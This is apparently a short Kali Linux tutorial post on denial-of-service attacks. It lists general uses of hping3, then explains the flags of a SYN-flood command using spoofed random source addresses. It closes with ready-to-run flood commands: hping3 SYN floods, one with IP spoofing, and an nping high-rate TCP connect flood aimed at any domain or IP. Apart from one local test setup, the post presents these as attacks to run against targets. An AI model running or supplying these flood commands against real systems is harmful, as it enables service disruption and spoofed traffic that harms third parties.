DoS command on kali linux

1. Hping3

hping3 should be used to…

- Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
-  Perform the idle scan (now implemented in nmap with an easy user interface).
- Test firewalling rules.
- Test IDSes.
- Exploit known vulnerabilties of TCP/IP stacks.
- Networking research.
- Learn TCP/IP (hping was used in networking courses AFAIK).
- Write real applications related to TCP/IP testing and security.
- Automated firewalling tests.
- Proof of concept exploits.
- Networking and security research when there is the need to emulate complex TCP/IP behaviour.
- Prototype IDS systems.
- Simple to use networking utilities with Tk interface.

DoS using hping3 with random source IP

Let me explain the syntax’s used in this command:

1. hping3 = Name of the application binary.
2. -c 100000 = Number of packets to send.
3. -d 120 = Size of each packet that was sent to target machine.
4. -S = I am sending SYN packets only.
5. -w 64 = TCP window size.
6. -p 21 = Destination port (21 being FTP port). You can use any port here.
7. --flood = Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.
8. --rand-source = Using Random Source IP Addresses. You can also use -a or –spoof to hide hostnames. See MAN page below.
9. www.hping3testsite.com = Destination IP address or target machines IP address. You can also use a website name here. In my case resolves to 127.0.0.1 (as entered in /etc/hosts file)

===> Logs on Graylog server : 

Another command:

-Simple SYN flood - DoS 

#hping3 -S --flood -V domain/IP

- Simple SYN flood with spoofed IP - DoS

#hping3 -S -P -U --flood -V --rand-source domain/ip

2. nping
Command: #nping -help
#nping --tcp-connect -rate=90000 -c 900000 -q domain/ip


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